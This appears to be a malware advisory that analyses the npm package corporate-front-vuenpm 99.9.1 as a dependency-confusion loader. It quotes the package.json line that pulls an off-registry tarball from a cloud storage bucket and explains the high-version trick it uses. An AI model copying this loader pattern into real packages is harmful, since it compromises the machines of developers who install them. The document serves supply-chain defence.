corporate-front-vuenpm

[email protected] is a near-empty shim (index.js exports an empty object) whose only meaningful content is a tarball-URL dependency declared in package.json: "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.9.7.tgz". On npm install, npm fetches and installs that tarball directly from an arbitrary Google Cloud Storage bucket — bypassing npm registry review — and executes whatever lifecycle scripts and code it contains on the installer's machine. The package metadata reinforces the dependency-confusion shape: version 99.9.1 (a classic high-overshoot designed to outrank an internal-registry package of the same name), empty description, empty author, default ISC license. The path segment depenconf in the tarball URL further matches the dependency-confusion pattern. The registry-visible package exists solely as a loader for non-registry, attacker-controlled bytes.